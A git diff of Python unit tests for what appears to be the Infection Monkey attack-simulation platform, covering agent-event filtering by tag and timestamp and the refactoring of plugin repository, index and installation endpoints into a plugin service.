PFAE1_2 = PassFailAgentEvent_type1( - source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"), timestamp=42, success=True + source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"), + timestamp=42, + success=True, + tags={AgentEventTag("_2")}, ) SERIALIZED_PFAE1_2 = { "type": PassFailAgentEvent_type1.__name__, @@ -115,13 +142,14 @@ class PassFailAgentEvent_type2(AbstractAgentEvent): "source": "f811ad00-5a68-4437-bd51-7b5cc1768ad5", "target": None, "timestamp": 42.0, - "tags": [], + "tags": ["_2"], } PFAE2_1 = PassFailAgentEvent_type2( source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"), timestamp=42, success=True, target=IPv4Address("127.0.0.1"), + tags={AgentEventTag("_1")}, ) SERIALIZED_PFAE2_1 = { "type": PassFailAgentEvent_type2.__name__, @@ -129,7 +157,7 @@ class PassFailAgentEvent_type2(AbstractAgentEvent): "source": "f811ad00-5a68-4437-bd51-7b5cc1768ad5", "target": "127.0.0.1", "timestamp": 42.0, - "tags": [], + "tags": ["_1"], } @@ -250,8 +278,11 @@ def test_agent_events_endpoint__get_error(error_raising_flask_client): def test_get_filter__event_type(flask_client, agent_event_repository): - expected_events = [PFAE1_1, PFAE1_2] - agent_event_repository.get_events_by_type = MagicMock(return_value=expected_events) + all_events = [PFAE1_1, PFAE1_2, PFAE2_1] + expected_events_by_type = [PFAE1_1, PFAE1_2] + + agent_event_repository.get_events = MagicMock(return_value=all_events) + agent_event_repository.get_events_by_type = MagicMock(return_value=expected_events_by_type) resp_get = flask_client.get(AGENT_EVENTS_URL + "?type=PassFailAgentEvent_type1") assert resp_get.status_code == HTTPStatus.OK @@ -259,6 +290,19 @@ def test_get_filter__event_type(flask_client, agent_event_repository): assert resp_get.json == [SERIALIZED_PFAE1_1, SERIALIZED_PFAE1_2] +def test_get_filter__event_tag(flask_client, agent_event_repository): + all_events = [PFAE1_1, PFAE1_2, PFAE2_1] + expected_events_by_tag = [PFAE1_1, PFAE2_1] + + agent_event_repository.get_events = MagicMock(return_value=all_events) + agent_event_repository.get_events_by_tag = MagicMock(return_value=expected_events_by_tag) + + resp_get = flask_client.get(AGENT_EVENTS_URL + "?tag=_1") + assert resp_get.status_code == HTTPStatus.OK + + assert resp_get.json == [SERIALIZED_PFAE1_1, SERIALIZED_PFAE2_1] + + def test_get_filter__success_true(flask_client, agent_event_repository): agent_event_repository.get_events = MagicMock(return_value=[PFAE1_1, PFAE1_2, PFAE2_1]) @@ -288,8 +332,42 @@ def test_get_filter__event_missing_success(flask_client, agent_event_repository) assert resp_get.json == [SERIALIZED_PFAE1_1] +@pytest.mark.parametrize( + "query_param, index", [(-1, 0), (1.9999, 1), (2, 2), (2.1, 2), (2.99999, 2), (3, 3)] +) +def test_get_filter__event_gt_timestamp(flask_client, agent_event_repository, query_param, index): + agent_event_repository.get_events = MagicMock(return_value=TIMESTAMP_EVENTS) + + resp_get = flask_client.get(AGENT_EVENTS_URL + f"?timestamp=gt:{query_param}") + assert resp_get.status_code == HTTPStatus.OK + + returned_events = resp_get.json + assert [event["timestamp"] for event in returned_events] == [ + event.timestamp for event in TIMESTAMP_EVENTS[index:] + ] + + +@pytest.mark.parametrize( + "query_param, index", [(-1, 0), (1.9999, 1), (2, 1), (2.1, 2), (2.99999, 2), (4, 3)] +) +def test_get_filter__event_lt_timestamp(flask_client, agent_event_repository, query_param, index): + agent_event_repository.get_events = MagicMock(return_value=TIMESTAMP_EVENTS) + + resp_get = flask_client.get(AGENT_EVENTS_URL + f"?timestamp=lt:{query_param}") + assert resp_get.status_code == HTTPStatus.OK + + returned_events = resp_get.json + assert [event["timestamp"] for event in returned_events] == [ + event.timestamp for event in TIMESTAMP_EVENTS[:index] + ] + + def test_get_filter__type_and_success(flask_client, agent_event_repository): - agent_event_repository.get_events_by_type = MagicMock(return_value=[PFAE1_1, PFAE1_2]) + all_events = [PFAE1_1, PFAE1_2, PFAE2_1] + expected_events_by_type = [PFAE1_1, PFAE1_2] + + agent_event_repository.get_events = MagicMock(return_value=all_events) + agent_event_repository.get_events_by_type = MagicMock(return_value=expected_events_by_type) resp_get = flask_client.get(AGENT_EVENTS_URL + "?type=PassFailAgentEvent_type1&success=true") assert resp_get.status_code == HTTPStatus.OK @@ -297,16 +375,48 @@ def test_get_filter__type_and_success(flask_client, agent_event_repository): assert resp_get.json == [SERIALIZED_PFAE1_2] -def test_get_filter__unknown_type(flask_client, agent_event_repository): +def test_get_filter__type_and_tag(flask_client, agent_event_repository): + all_events = [PFAE1_1, PFAE1_2, PFAE2_1] + expected_events_by_type = [PFAE1_1, PFAE1_2] + expected_events_by_tag = [PFAE1_1, PFAE2_1] + + agent_event_repository.get_events = MagicMock(return_value=all_events) + agent_event_repository.get_events_by_type = MagicMock(return_value=expected_events_by_type) + agent_event_repository.get_events_by_tag = MagicMock(return_value=expected_events_by_tag) + + resp_get = flask_client.get(AGENT_EVENTS_URL + "?type=PassFailAgentEvent_type1&tag=_1") + assert resp_get.status_code == HTTPStatus.OK + + assert resp_get.json == [SERIALIZED_PFAE1_1] + + +def test_get_filter__unknown_type(flask_client): resp_get = flask_client.get(AGENT_EVENTS_URL + "?type=UnknownEventType") assert resp_get.status_code == HTTPStatus.UNPROCESSABLE_ENTITY -def test_get_filter__invalid_success(flask_client, agent_event_repository): +def test_get_filter__unknown_tag(flask_client): + resp_get = flask_client.get(AGENT_EVENTS_URL + "?tag=unknown-tag") + assert resp_get.status_code == HTTPStatus.OK + assert resp_get.json == [] + + +def test_get_filter__invalid_success(flask_client): resp_get = flask_client.get(AGENT_EVENTS_URL + "?success=bogus") assert resp_get.status_code == HTTPStatus.UNPROCESSABLE_ENTITY +@pytest.mark.parametrize("timestamp_arg", ["never", "gt:xyz", "at:123", ":::", "a:b:c", "", " "]) +def test_get_filter__invalid_timestamp(timestamp_arg, flask_client): + resp_get = flask_client.get(AGENT_EVENTS_URL + f"?timestamp={timestamp_arg}") + assert resp_get.status_code == HTTPStatus.UNPROCESSABLE_ENTITY + + +def test_get_filter__invalid_tag(flask_client): + resp_get = flask_client.get(AGENT_EVENTS_URL + "?tag=invalid%20tag") + assert resp_get.status_code == HTTPStatus.UNPROCESSABLE_ENTITY + + @pytest.mark.parametrize( "events, expected_status_code", [(["bogus", "vogus"], HTTPStatus.BAD_REQUEST), ([], HTTPStatus.NO_CONTENT)], diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py deleted file mode 100644 index a3643bc05d0..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ /dev/null @@ -1,97 +0,0 @@ -from http import HTTPStatus -from unittest.mock import MagicMock - -import pytest -from tests.common import StubDIContainer -from tests.monkey_island import InMemorySimulationRepository - -from monkey_island.cc.event_queue import IIslandEventQueue -from monkey_island.cc.models import IslandMode -from monkey_island.cc.repositories import ISimulationRepository -from monkey_island.cc.resources.island_mode import IslandMode as IslandModeResource - - -@pytest.fixture -def flask_client_builder(build_flask_client): - def inner(side_effect=None): - container = StubDIContainer() - - in_memory_simulation_repository = InMemorySimulationRepository() - container.register_instance(ISimulationRepository, in_memory_simulation_repository) - - mock_island_event_queue = MagicMock(spec=IIslandEventQueue) - mock_island_event_queue.publish.side_effect = ( - side_effect - if side_effect - else lambda topic, mode: in_memory_simulation_repository.set_mode(mode) - ) - container.register_instance(IIslandEventQueue, mock_island_event_queue) - - with build_flask_client(container) as flask_client: - return flask_client - - return inner - - -@pytest.fixture -def flask_client(flask_client_builder): - return flask_client_builder() - - -@pytest.fixture -def flask_client__internal_server_error(flask_client_builder): - return flask_client_builder(Exception) - - -@pytest.mark.parametrize( - "mode", - [IslandMode.RANSOMWARE.value, IslandMode.ADVANCED.value, IslandMode.UNSET.value], -) -def test_island_mode_post(flask_client, mode): - resp = flask_client.put( - IslandModeResource.urls[0], - json=mode, - follow_redirects=True, - ) - assert resp.status_code == HTTPStatus.NO_CONTENT - - -def test_island_mode_post__invalid_mode(flask_client): - resp = flask_client.put( - IslandModeResource.urls[0], - json="bogus mode", - follow_redirects=True, - ) - assert resp.status_code == HTTPStatus.UNPROCESSABLE_ENTITY - - -def test_island_mode_post__internal_server_error(flask_client__internal_server_error): - resp = flask_client__internal_server_error.put( - IslandModeResource.urls[0], - json=IslandMode.RANSOMWARE.value, - follow_redirects=True, - ) - assert resp.status_code == HTTPStatus.INTERNAL_SERVER_ERROR - - -@pytest.mark.parametrize("mode", [IslandMode.RANSOMWARE.value, IslandMode.ADVANCED.value]) -def test_island_mode_endpoint(flask_client, mode): - flask_client.put( - IslandModeResource.urls[0], - json=mode, - follow_redirects=True, - ) - resp = flask_client.get(IslandModeResource.urls[0], follow_redirects=True) - assert resp.status_code == HTTPStatus.OK - assert resp.json == mode - - -def test_island_mode_endpoint__invalid_mode(flask_client): - resp_post = flask_client.put( - IslandModeResource.urls[0], - json="bogus_mode", - follow_redirects=True, - ) - resp_get = flask_client.get(IslandModeResource.urls[0], follow_redirects=True) - assert resp_post.status_code == HTTPStatus.UNPROCESSABLE_ENTITY - assert resp_get.json == IslandMode.UNSET.value diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_binary_service/test_event_handlers.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_binary_service/test_event_handlers.py deleted file mode 100644 index 8a63435a079..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/agent_binary_service/test_event_handlers.py +++ /dev/null @@ -1,18 +0,0 @@ -from unittest.mock import MagicMock - -from common import OperatingSystem -from monkey_island.cc.models import IslandMode -from monkey_island.cc.services import IAgentBinaryService -from monkey_island.cc.services.agent_binary_service.event_handlers import ( - reset_masque_on_island_mode_change, -) - - -def test_reset_masque_on_island_mode_change(): - mock_agent_binary_service = MagicMock(spec=IAgentBinaryService) - event_handler = reset_masque_on_island_mode_change(mock_agent_binary_service) - - event_handler(IslandMode.ADVANCED) - - for operating_system in OperatingSystem: - mock_agent_binary_service.set_masque.assert_any_call(operating_system, None) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_schema_compiler.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_schema_compiler.py index 1f72a57bdd6..fd1a38872f9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_schema_compiler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_schema_compiler.py @@ -1,3 +1,6 @@ +import copy +from unittest.mock import MagicMock + import pytest from tests.monkey_island import InMemoryAgentPluginRepository from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import FAKE_NAME, FAKE_NAME2 @@ -6,33 +9,42 @@ FAKE_AGENT_PLUGIN_2, ) -from monkey_island.cc.repositories import IAgentPluginRepository +from common import OperatingSystem from monkey_island.cc.services.agent_configuration_service.agent_configuration_schema_compiler import ( # noqa: E501 AgentConfigurationSchemaCompiler, ) +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.agent_plugin_service import AgentPluginService @pytest.fixture -def agent_plugin_repository() -> IAgentPluginRepository: +def agent_plugin_repository() -> InMemoryAgentPluginRepository: return InMemoryAgentPluginRepository() +@pytest.fixture +def agent_plugin_service( + agent_plugin_repository: InMemoryAgentPluginRepository, +) -> IAgentPluginService: + return AgentPluginService(agent_plugin_repository, MagicMock()) + + @pytest.fixture def config_schema_compiler( - agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, ) -> AgentConfigurationSchemaCompiler: - return AgentConfigurationSchemaCompiler(agent_plugin_repository) + return AgentConfigurationSchemaCompiler(agent_plugin_service) def test_get_schema__adds_exploiter_plugins_to_schema( - config_schema_compiler, agent_plugin_repository + config_schema_compiler: AgentConfigurationSchemaCompiler, agent_plugin_repository ): - agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_1) - agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_2) - expected_fake_schema1 = FAKE_AGENT_PLUGIN_1.config_schema + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_2) + expected_fake_schema1 = copy.deepcopy(FAKE_AGENT_PLUGIN_1.config_schema) expected_fake_schema1.update(FAKE_AGENT_PLUGIN_1.plugin_manifest.dict(simplify=True)) - expected_fake_schema2 = FAKE_AGENT_PLUGIN_2.config_schema + expected_fake_schema2 = copy.deepcopy(FAKE_AGENT_PLUGIN_2.config_schema) expected_fake_schema2.update(FAKE_AGENT_PLUGIN_2.plugin_manifest.dict(simplify=True)) actual_config_schema = config_schema_compiler.get_schema() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py index 49f8b989853..f765d044585 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_configuration_service/test_agent_configuration_validation_decorator.py @@ -2,7 +2,7 @@ from tests.monkey_island import InMemoryAgentConfigurationRepository, InMemoryAgentPluginRepository from common.base_models import MutableInfectionMonkeyBaseModel -from monkey_island.cc.repositories import IAgentPluginRepository, RetrievalError +from monkey_island.cc.repositories import RetrievalError from monkey_island.cc.services import PluginConfigurationValidationError from monkey_island.cc.services.agent_configuration_service.agent_configuration_schema_compiler import ( # noqa: E501 AgentConfigurationSchemaCompiler, @@ -31,7 +31,7 @@ def in_memory_agent_configuration_repository() -> IAgentConfigurationRepository: @pytest.fixture -def in_memory_agent_plugin_repository() -> IAgentPluginRepository: +def in_memory_agent_plugin_repository() -> InMemoryAgentPluginRepository: return InMemoryAgentPluginRepository() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/conftest.py new file mode 100644 index 00000000000..536ef5d4ef3 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/conftest.py @@ -0,0 +1,121 @@ +import gzip +import io +import json +from pathlib import Path +from tarfile import TarFile, TarInfo +from typing import Any, BinaryIO, Callable, Dict, Tuple + +import pytest +import yaml + +from common import OperatingSystem +from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType + +BuildAgentPluginCallable = Callable[[bytes, Tuple[OperatingSystem, ...]], AgentPlugin] + + +@pytest.fixture +def plugin_file(plugin_data_dir) -> Path: + return plugin_data_dir / "test-exploiter.tar" + + +@pytest.fixture +def missing_manifest_plugin_file(plugin_data_dir) -> Path: + return plugin_data_dir / "missing-manifest.tar" + + +@pytest.fixture +def bad_plugin_file(plugin_data_dir) -> Path: + return plugin_data_dir / "bad-exploiter.tar" + + +@pytest.fixture +def symlink_plugin_file(plugin_data_dir) -> Path: + return plugin_data_dir / "symlink-exploiter.tar" + + +@pytest.fixture +def dir_plugin_file(plugin_data_dir) -> Path: + return plugin_data_dir / "dir-exploiter.tar" + + +@pytest.fixture +def simple_agent_plugin(build_agent_plugin) -> AgentPlugin: + fileobj = io.BytesIO() + with TarFile(fileobj=fileobj, mode="w") as tar: + plugin_py_tarinfo = TarInfo("plugin.py") + plugin_py_bytes = b'print("Hello world!")' + plugin_py_tarinfo.size = len(plugin_py_bytes) + tar.addfile(plugin_py_tarinfo, io.BytesIO(plugin_py_bytes)) + fileobj.seek(0) + + return build_agent_plugin(source_archive=fileobj.getvalue()) + + +@pytest.fixture +def build_agent_plugin_tar_with_source_tar(build_agent_plugin: BuildAgentPluginCallable): + def inner(input_tar_path: Path) -> BinaryIO: + with open(input_tar_path, "rb") as f: + source_archive = f.read() + agent_plugin = build_agent_plugin(source_archive, tuple()) + return build_agent_plugin_tar(agent_plugin) + + return inner + + +def build_agent_plugin_tar( + agent_plugin: AgentPlugin, manifest_file_name: str = "manifest.yaml" +) -> BinaryIO: + fileobj = io.BytesIO() + with TarFile(fileobj=fileobj, mode="w") as tar: + manifest_tarinfo = TarInfo(manifest_file_name) + manifest_bytes = yaml.safe_dump(agent_plugin.plugin_manifest.dict(simplify=True)).encode() + manifest_tarinfo.size = len(manifest_bytes) + tar.addfile(manifest_tarinfo, io.BytesIO(manifest_bytes)) + + config_schema_tarinfo = TarInfo("config-schema.json") + config_schema_bytes = json.dumps(agent_plugin.config_schema).encode() + config_schema_tarinfo.size = len(config_schema_bytes) + tar.addfile(config_schema_tarinfo, io.BytesIO(config_schema_bytes)) + + plugin_source_archive_tarinfo = TarInfo("source.tar.gz") + plugin_source_archive_tarinfo.size = len(agent_plugin.source_archive) + tar.addfile(plugin_source_archive_tarinfo, io.BytesIO(agent_plugin.source_archive)) + + fileobj.seek(0) + return fileobj + + +@pytest.fixture +def build_agent_plugin(agent_plugin_manifest: AgentPluginManifest, config_schema: Dict[str, Any]): + def inner( + source_archive: bytes = b"", + supported_operating_systems: Tuple[OperatingSystem, ...] = ( + OperatingSystem.LINUX, + OperatingSystem.WINDOWS, + ), + ) -> AgentPlugin: + return AgentPlugin( + plugin_manifest=agent_plugin_manifest, + config_schema=config_schema, + source_archive=gzip.compress(source_archive, compresslevel=1), + supported_operating_systems=supported_operating_systems, + ) + + return inner + + +@pytest.fixture +def agent_plugin_manifest() -> AgentPluginManifest: + return AgentPluginManifest( + name="TestPlugin", + plugin_type=AgentPluginType.EXPLOITER, + version="1.0.0", + supported_operating_systems=[OperatingSystem.LINUX, OperatingSystem.WINDOWS], + target_operating_systems=[OperatingSystem.LINUX, OperatingSystem.WINDOWS], + ) + + +@pytest.fixture +def config_schema() -> Dict[str, Any]: + return {"type": "object", "properties": {"name": {"type": "string"}}} diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_agent_plugins.py similarity index 76% rename from monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py rename to monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_agent_plugins.py index 2baba71c299..d5036a33f5a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_agent_plugins.py @@ -1,17 +1,18 @@ from http import HTTPStatus +from unittest.mock import MagicMock import pytest from tests.common import StubDIContainer from tests.monkey_island import InMemoryAgentPluginRepository from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import FAKE_NAME, FAKE_TYPE -from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import ( - FAKE_AGENT_PLUGIN_1, - FAKE_PLUGIN_CONFIG_SCHEMA_1, -) +from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import FAKE_AGENT_PLUGIN_1 from tests.unit_tests.monkey_island.conftest import get_url_for_resource -from monkey_island.cc.repositories import IAgentPluginRepository, RetrievalError -from monkey_island.cc.resources import AgentPlugins +from common import OperatingSystem +from monkey_island.cc.repositories import RetrievalError +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.agent_plugin_service import AgentPluginService +from monkey_island.cc.services.agent_plugin_service.flask_resources import AgentPlugins FAKE_PLUGIN_NAME = "plugin_abc" @@ -22,19 +23,24 @@ def agent_plugin_repository(): @pytest.fixture -def flask_client(build_flask_client, agent_plugin_repository): +def agent_plugin_service(agent_plugin_repository): + return AgentPluginService(agent_plugin_repository, MagicMock()) + + +@pytest.fixture +def flask_client(build_flask_client, agent_plugin_service): container = StubDIContainer() - container.register_instance(IAgentPluginRepository, agent_plugin_repository) + container.register_instance(IAgentPluginService, agent_plugin_service) with build_flask_client(container) as flask_client: yield flask_client def test_get_plugin(flask_client, agent_plugin_repository): - agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_1) + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) expected_response = { - "config_schema": FAKE_PLUGIN_CONFIG_SCHEMA_1, + "config_schema": FAKE_AGENT_PLUGIN_1.config_schema, "plugin_manifest": { "description": None, "link_to_documentation": "http://www.beefface.com", @@ -85,7 +91,7 @@ def test_get_plugins__not_found_if_type_is_invalid(flask_client, type_): def test_get_plugins__server_error(flask_client, agent_plugin_repository): - def raise_retrieval_error(host_os, plugin_type, name): + def raise_retrieval_error(host_os, plugin_type, plugin_name): raise RetrievalError agent_plugin_repository.get_plugin = raise_retrieval_error diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_agent_plugins_manifest.py similarity index 76% rename from monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py rename to monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_agent_plugins_manifest.py index 9408ea2d6e5..9c31b7f0c82 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_agent_plugins_manifest.py @@ -1,4 +1,5 @@ from http import HTTPStatus +from unittest.mock import MagicMock import pytest from tests.common import StubDIContainer @@ -7,8 +8,11 @@ from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import FAKE_AGENT_PLUGIN_1 from tests.unit_tests.monkey_island.conftest import get_url_for_resource -from monkey_island.cc.repositories import IAgentPluginRepository, RetrievalError -from monkey_island.cc.resources import AgentPluginsManifest +from common import OperatingSystem +from monkey_island.cc.repositories import RetrievalError +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.agent_plugin_service import AgentPluginService +from monkey_island.cc.services.agent_plugin_service.flask_resources import AgentPluginsManifest @pytest.fixture @@ -17,16 +21,21 @@ def agent_plugin_repository(): @pytest.fixture -def flask_client(build_flask_client, agent_plugin_repository): +def agent_plugin_service(agent_plugin_repository): + return AgentPluginService(agent_plugin_repository, MagicMock()) + + +@pytest.fixture +def flask_client(build_flask_client, agent_plugin_service): container = StubDIContainer() - container.register_instance(IAgentPluginRepository, agent_plugin_repository) + container.register_instance(IAgentPluginService, agent_plugin_service) with build_flask_client(container) as flask_client: yield flask_client def test_get_plugin_manifest(flask_client, agent_plugin_repository): - agent_plugin_repository.save_plugin(FAKE_AGENT_PLUGIN_1) + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) expected_response = { "description": None, diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_available_agent_plugins_index.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_available_agent_plugins_index.py new file mode 100644 index 00000000000..3053c6a4495 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_available_agent_plugins_index.py @@ -0,0 +1,114 @@ +from http import HTTPStatus +from unittest.mock import MagicMock + +import pytest +from tests.common import StubDIContainer +from tests.unit_tests.monkey_island.conftest import get_url_for_resource + +from common.agent_plugins import AgentPluginRepositoryIndex +from monkey_island.cc.repositories import RetrievalError +from monkey_island.cc.services import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.flask_resources.available_agent_plugins_index import ( # noqa: E501 + AvailableAgentPluginsIndex, +) + +SSH_EXPLOITER = [ + { + "name": "SSH", + "plugin_type": "Exploiter", + "resource_path": "SSH-exploiter-v1.0.0.tar", + "sha256": "862d4fd8c9d6c51926d34ac083f75c99d4fe4c3b3052de9e3d5995382a277a43", + "description": "Attempts a brute-force attack against SSH using known " + "credentials, including SSH keys.", + "version": "1.0.0", + "safe": True, + } +] + +EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX = { + "timestamp": 1692629886.4792287, + "compatible_infection_monkey_version": "development", + "plugins": { + "Credentials_Collector": {}, + "Exploiter": { + "SSH": SSH_EXPLOITER, + }, + "Fingerprinter": {}, + "Payload": {}, + }, +} + + +@pytest.fixture +def agent_plugin_repository_index() -> AgentPluginRepositoryIndex: + return AgentPluginRepositoryIndex(**EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX) + + +@pytest.fixture +def agent_plugin_service() -> IAgentPluginService: + return MagicMock(spec=IAgentPluginService) + + +@pytest.fixture +def flask_client(build_flask_client, agent_plugin_service: IAgentPluginService): + container = StubDIContainer() + container.register_instance(IAgentPluginService, agent_plugin_service) + + with build_flask_client(container) as flask_client: + yield flask_client + + +def test_available_agent_plugins_index( + agent_plugin_service: IAgentPluginService, + flask_client, + agent_plugin_repository_index: AgentPluginRepositoryIndex, +): + agent_plugin_service.get_available_plugins = MagicMock( + return_value=agent_plugin_repository_index + ) + resp = flask_client.get( + get_url_for_resource(AvailableAgentPluginsIndex), + follow_redirects=True, + ) + + assert resp.status_code == HTTPStatus.OK + assert resp.json == EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX + + +@pytest.mark.parametrize("error", [RetrievalError, ValueError, Exception]) +def test_available_agent_plugins_index__internal_server_error( + agent_plugin_service: IAgentPluginService, flask_client, error +): + agent_plugin_service.get_available_plugins = MagicMock(side_effect=error) + resp = flask_client.get( + get_url_for_resource(AvailableAgentPluginsIndex), + follow_redirects=True, + ) + + assert resp.status_code == HTTPStatus.INTERNAL_SERVER_ERROR + + +@pytest.mark.parametrize("force_refresh", ["bla", 1, None, "1"]) +def test_available_agent_plugins_index__wrong_parameter(flask_client, force_refresh): + resp = flask_client.get( + get_url_for_resource(AvailableAgentPluginsIndex) + f"?force_refresh={force_refresh}", + follow_redirects=True, + ) + assert resp.status_code == HTTPStatus.UNPROCESSABLE_ENTITY + + +@pytest.mark.parametrize("force_refresh, refresh_boolean_value", [("true", True), ("false", False)]) +def test_available_agent_plugins_index__right_parameter( + agent_plugin_service: IAgentPluginService, + flask_client, + force_refresh, + refresh_boolean_value: bool, +): + resp = flask_client.get( + get_url_for_resource(AvailableAgentPluginsIndex) + f"?force_refresh={force_refresh}", + follow_redirects=True, + ) + assert resp.status_code == HTTPStatus.OK + agent_plugin_service.get_available_plugins.assert_called_with( + force_refresh=refresh_boolean_value + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_install_agent_plugin.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_install_agent_plugin.py new file mode 100644 index 00000000000..e2bd5c68aa3 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_install_agent_plugin.py @@ -0,0 +1,132 @@ +from http import HTTPStatus +from unittest.mock import MagicMock + +import pytest +from tests.common import StubDIContainer +from tests.unit_tests.monkey_island.conftest import get_url_for_resource + +from common.agent_plugins import AgentPluginType, PluginVersion +from monkey_island.cc.repositories import RetrievalError, StorageError +from monkey_island.cc.services import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.errors import PluginInstallationError +from monkey_island.cc.services.agent_plugin_service.flask_resources.install_agent_plugin import ( # noqa: E501 + InstallAgentPlugin, +) + +AGENT_PLUGIN = b"SomePlugin" +PLUGIN_TYPE = "Exploiter" +PLUGIN_NAME = "RDP" +VERSION_DICT = {"major": "1", "minor": "0", "patch": "1"} +VERSION = "1.0.1" +REQUEST_JSON_DATA = ( + f'{{"plugin_type": "{PLUGIN_TYPE}", "name": "{PLUGIN_NAME}", "version": "{VERSION}"}}' +) + + +@pytest.fixture +def agent_plugin_service() -> IAgentPluginService: + return MagicMock(spec=IAgentPluginService) + + +@pytest.fixture +def flask_client(build_flask_client, agent_plugin_service): + container = StubDIContainer() + container.register_instance(IAgentPluginService, agent_plugin_service) + + with build_flask_client(container) as flask_client: + yield flask_client + + +def test_install_plugin__binary(agent_plugin_service, flask_client): + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=AGENT_PLUGIN, + follow_redirects=True, + ) + + assert resp.status_code == HTTPStatus.OK + assert agent_plugin_service.install_plugin_from_repository.call_count == 0 + assert agent_plugin_service.install_plugin_archive.call_count == 1 + assert agent_plugin_service.install_plugin_archive.call_args[0][0] == AGENT_PLUGIN + + +def test_install_plugin__json(agent_plugin_service, flask_client): + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=REQUEST_JSON_DATA, + follow_redirects=True, + headers={"Content-Type": "application/json"}, + ) + + assert resp.status_code == HTTPStatus.OK + assert agent_plugin_service.install_plugin_archive.call_count == 0 + assert agent_plugin_service.install_plugin_from_repository.call_count == 1 + agent_plugin_service.install_plugin_from_repository.assert_called_with( + plugin_type=AgentPluginType(PLUGIN_TYPE), + plugin_name=PLUGIN_NAME, + plugin_version=PluginVersion.from_str(VERSION), + ) + + +def test_install_plugin__binary_install_error(agent_plugin_service, flask_client): + agent_plugin_service.install_plugin_archive = MagicMock(side_effect=PluginInstallationError) + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=AGENT_PLUGIN, + follow_redirects=True, + ) + + assert resp.status_code == HTTPStatus.UNPROCESSABLE_ENTITY + + +def test_install_plugin__json_install_error(agent_plugin_service, flask_client): + agent_plugin_service.install_plugin_from_repository = MagicMock( + side_effect=PluginInstallationError + ) + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=REQUEST_JSON_DATA, + follow_redirects=True, + headers={"Content-Type": "application/json"}, + ) + 